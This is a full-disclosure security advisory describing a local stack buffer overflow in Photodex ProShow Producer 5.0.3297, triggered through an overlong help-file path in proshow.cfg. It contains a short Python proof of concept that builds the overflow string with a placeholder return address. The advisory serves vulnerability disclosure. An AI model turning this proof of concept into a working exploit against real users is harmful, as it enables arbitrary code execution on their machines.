[IA45] Photodex ProShow Producer v5.0.3297 ExpandMacroFilename() Local Buffer Overflow

[Inshell Security <info () inshell net>]

Inshell Security Advisory
http://www.inshell.net


1. ADVISORY INFORMATION
-----------------------
Product:        Photodex ProShow Producer
Vendor URL:     www.photodex.com
Type:           Stack-based Buffer Overflow [CWE-121]
Date found:     2013-01-26
Date published: 2013-01-26
CVSSv2 Score:   4,4 (AV:L/AC:M/Au:N/C:P/I:P/A:P)
CVE:            -


2. CREDITS
----------
This vulnerability was discovered and researched by Julien Ahrens from
Inshell Security.


3. VERSIONS AFFECTED
--------------------
Photodex ProShow Producer v5.0.3297, older versions may be affected too.


4. VULNERABILITY DESCRIPTION
----------------------------
A stack-based buffer overflow vulnerability has been identified in
Photodex ProShow Producer v5.0.3297.

When opening the application help via the menu, the application loads
the location of the help file from the file "proshow.cfg". If the file
"proshow.phd" also exists, the values are crosschecked.

The ExpandMacroFilename function does not properly validate the length
of the string loaded from the "cpicHelpFile" identifier from the config
file before using it in the further application context, which leads to
a stack-based buffer overflow condition.

Vulnerable function definition:
int __stdcall ExpandMacroFilename(int, void *Dst, size_t Size)

An attacker needs to force the victim to place an arbitrary
"proshow.cfg" and/or "proshow.phd" file into the application directory
to execute arbitrary code.


5. PROOF-OF-CONCEPT (Code / Exploit)
------------------------------------
The following generated string has to be inserted into the proshow.cfg
and/or proshow.phd to trigger the vulnerability.

#!/usr/bin/python
file="poc.txt"

junk1="\x41" * 238
eip="\x42" * 4
junk2="\xCC" * 100

poc=junk1 + eip + junk2

try:
    print ("[*] Creating exploit file...\n");
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print ("[*] File successfully created!");
except:
    print ("[!] Error while creating file!");


For further Screenshots and/or PoCs visit:
http://security.inshell.net/advisory/45


6. SOLUTION
-----------
None


7. REPORT TIMELINE
------------------
2013-01-26: Discovery of the vulnerability
2013-01-26: Full Disclosure because the vendor ignored previous reports.


8. REFERENCES
-------------
http://security.inshell.net/advisory/45

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